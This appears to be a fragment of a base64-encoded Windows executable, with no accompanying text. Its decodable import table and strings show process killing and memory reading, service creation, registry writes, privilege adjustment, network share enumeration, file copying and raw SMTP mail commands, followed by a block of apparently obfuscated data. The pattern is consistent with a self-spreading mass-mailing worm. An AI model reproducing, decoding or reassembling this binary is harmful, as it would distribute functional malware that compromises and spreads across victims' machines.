AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAJbcAACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrd AADq3AAA2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAA QNoAAFLaAABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7a AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA 3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA AAAAAC7eAAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMA AIAXAACAAAAAAAAAAAAAAAAABQAAAAAAAAAHAAAACQAAAAUAAAACAAAAAgAAAAIAAAACAAAA DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90 IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50 cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA 2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA W4lAAG+zQAAAAAAAAAAAABS0QAAAAAAAAAAAAAAAAAAAAAAAMw1BAEAAAAAgAAAALAAAAC0t AABcAAAAUVVJVA0KAAANCi4NCgAAAERBVEEgDQoASEVMTyAlcw0KAAAAPg0KAE1BSUwgRlJP TTogPAAAAABSQ1BUIFRPOjwAAAAlZAAAIAkNCgAAAAAuLCgpJSRAIWB+IAAtXwAALi4AAC4A AABcKi4qAAAAAFxcAAAAAAAAiRV37zMZmXgQWLjJ8pkAAAf1Bcrs7e3t1cFCwkZAQsJG4kRC Q/XJT0XCyU9FwtXsbUTC4kRCQ/VFw+lp1c5HzEHIQsLiwkfP9cRBzMfVx0HGRUTiREJD9UFF QNXBQsJGQELCRuJEQkP1SUJPQ0fVwULCRkBCwkbiREJD9c9CQ9VORUHBRcJG4kRCQ+LBQPVP x8TVzkfMQchCwuLCR8/1TEFM1cFCwkZAQsJG4kRCQ/XPRcTER9XHQcZFROJEQkP1xE9MwdXO R8xByELC4sJHz/VDT0BF1U7EY8BFzUXC4kRC4sDN9c9CQElC1U7EY8BFzUXC4kRC4sDN9cDG R8zMRcxF1c9Hw0RHw+LCR8/izkf13VVf09TQ3NXNzELHQUZJ4sJHz/VETEXMRcHpbNXBQs9D RUHD4kRCQ/XAT0zPQcJMw0JFwtVDRUTiREJD9UHCxkLVx0fEz8xHx09Ez0FCwkRHws9HzOJE QkP10m/S71Pe1U5OTuJPwsdHzEVGR2NGQczDTOJEQkP1R07MQs3H1U5OTuLDQsNBz0XGQcND TOJEQkP1RcdDQcLVyc/MRcbiREJD9UDDx+9HzkXt7NXBQs9DRUHD4kRCQ/VHw0dEz8xCwkFE TNVHxEVJ4kRCQ/VPwsxHRcPV7O3v4u9v4u5u4uzs9c1BwkDDQsNBz0XVQ0VBw+LMT/XS197u U+nVTk5O4k/Cx0fMRUZHzkHHR0LiREJD9U5HxENFTM9HzNVFREdG4sdH9U5HxENFTM9HzNXH RUHDSWPDQsNBz0XiREJD9U5HxENFTM9HzNXNzEdFRMFOQszDx+JEQkP1zEfDRclazEfDRcnV SUXBQkLiREJD9UxFx0LOwkFAbG3VzUFMR0PiwkfP9c1BwkDDQsNBz0VM1UNFQcPizE/1RkdH R0fP1UbBz0PD4kRCQ/XMzNnZ1cHPQuJC9UxPzc1CzM/VT0DMRUHCQUXCY0XCRkfDTOLCR8/1 TkfEQ0VMz0fM1UTIwUdEwUZBzMNM4kRCQ/VHQ0VBw0zVR8NHRM/MQsJBRGNGzEJPzeJEQkP1 wEdMTNXNQs3MQkRATOJEQkP1TE/NzULMz9XJz8xFxuJEQkP1zcxByENF1UNFQcNHyURBz0fi REJD9UXHzkfMz0FMQcJG1U5CzMPHTEfJ4kRCQ/VOR8RDRUzPR8zVTEfJTE5HR89J4kRCQ/XG RcRBRcLVws9EQsziREJD9UTMQc/PR8zOQcPDR23VSUXBQkLiREJD9cFHw83VxEXEScZFREdD RUbiREJD9c1Hz0fMzUVPw8nJydXPR8zMReJHTPXMQsRHzM/DQkTB1UlFwUJC4kRC4k9A9c1A R0zHb0Zs1UNHQ8RHzEziw0LDQc9Fz0dHwkNCzkFHTOJEQkP1QELMTExM1cFCw0zPR8Liz871 wUJMz0NFTM9HzNXCRUBHx8FCTM9BwkbiREJD9cJPx0dER8NHxMnVRMxBTOJEQkP1x0dMQUbC 1cFBw89CwmNBQ0VGQcJG4kRC4k9A9c/ARUDVRkfP7MJHz+LHQPXDQsNBwkRFQ81M1UlFwUJC 4kRCQ/XNwULPQkzVREXCx0HHxEdFRMHiREJD9c/BT8xMx0VJxk/Cb+1v1UlCT8zEQUbOQs9H 4kRCQ/XXVkHCQkREwUFC1UNBwsdMzcxBwkbiREJD9d1PxMNBTMFHzExaVMNHRcxBwkZa0UJP TEfVR0NFQcPiTE/NR8zNzEHIR+LNRMHiREJD9UbPRu3vbsHVQ0VBw+JGRc9HRMHiR8dP9VNS VWPT1URCzMJHw8PiR8dP9cbMR0dEQsbGR0dDRUBHzNXER0zP7O3HR0XDTOJEQkP1wE9Mz8ZC zElCT8JHTkzDR8/PR8zVwE9Mz8ZCzElCT8JHTkzDR8/PR8ziR0NFQcNjzU/Ew0FMwUfM4kRC Q/VMQUbCT83Vwk/HR8FCw8NJTkJCx+JEQkP1TM9FxsbVR8lEw0VDRc9BQsJjxsxHR2PNQszC Y8JFQEfHY89HR8JjzU9MTEljTEfJY81BREziREJD9UXHQ0HC1c1PTExJ4kLMRvVDQcLHSdVD QcLHR0RBTEFCwuJEQkP1RUxFTEVM1U5OTuLNzEFjz0dHwuJEQkP1xExu6W9OTNVFQuJC9UxD T8/PSUZPSdVPTEXiwkfP9VzNR0RBRcPUQsJPTEdM1cbDQkNFQcPiQ0HDR0xCT8xER+JEQkP1 T83HRc9HTNXGzEdHREXMx0xHRcxEweJEQkP1RsxHRc/VTk5O4sFCz8NCw0VM4kRCQ/VGQs/N QszC1U5OTuLDQsNBz0XGQcxMz0xHyeJEQkP11kHCRcNaXENCQEfVQ89MxM3tbG3iwkXOQUXC z8JHz05CzEDiwkfP9V5HxENFTM9HzNVHyUTDRUNFz0FCwmPGzEdHY81CzMJjwkVAR8djz0dH wmPNT0xMSWNMR8ljzUFETOJEQkP1TkfEQ0VMz0fM1cNBzkdMR8lMQcdH4kRCQ/VMwULN70ZF Q0dM1UlFwUJC4kRCQ/VCxsZHzNVGRUNHTOJFzERFx0fNw0XCR8/iREJD9clDaWxJ789p7Uzp 